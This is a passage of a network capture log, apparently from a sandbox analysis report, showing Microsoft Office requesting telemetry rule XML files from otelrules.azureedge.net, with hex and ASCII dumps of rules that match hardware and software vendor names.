2024-11-20 15:51:56 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:56 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:56 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155156Z-r1d97b99577n5jhbhC1TEB74vn0000000940000000002z97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:56 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.9	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:57 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:58 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155158Z-1777c6cb754gc8g6hC1TEB966c00000009sg00000000h35d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:58 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.9	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:57 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:58 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155158Z-r1d97b99577xdmfxhC1TEBqbhg00000000pg00000000gq1k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:58 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.9	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:58 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155158Z-185f5d8b95ctl8xlhC1NYCn94g0000000ae000000000u19w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.9	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:58 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:58 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155158Z-185f5d8b95c68cvnhC1NYCfn7s0000000aa0000000010y82 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:58 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.9	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:51:58 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:51:58 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:51:58 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: a1d815ed-301e-0096-3f8c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155158Z-1777c6cb7542p5p4hC1TEBq09800000009tg00000000ccba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:51:58 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.9	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:00 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:00 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 62f36519-501e-0016-468c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155200Z-185f5d8b95cx9g8lhC1NYCtgvc00000002wg00000000179c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:00 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.9	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:00 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:00 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7511d71d-801e-0083-6e8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155200Z-r1d97b995774n5h6hC1TEBvf84000000093g0000000050cb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:00 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.9	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:00 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:00 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:00 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: c1a1e3cb-901e-005b-1f8c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155200Z-185f5d8b95cwtv72hC1NYC141w0000000a700000000130zw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:00 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.9	49891	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:00 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:00 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: e456cfdf-c01e-0014-248c-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155200Z-185f5d8b95cqnkdjhC1NYCm8w80000000a7g00000000rkvy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:01 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.9	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:00 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:01 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:00 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 5b8b83f7-201e-0033-0b8c-3ab167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155200Z-1777c6cb754j47wfhC1TEB5wrw00000005s00000000002xy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:01 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.9	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:02 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:02 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a1cdeef9-f01e-0020-348c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155202Z-185f5d8b95c4hl5whC1NYCeex00000000ab000000000ke7z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:02 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> 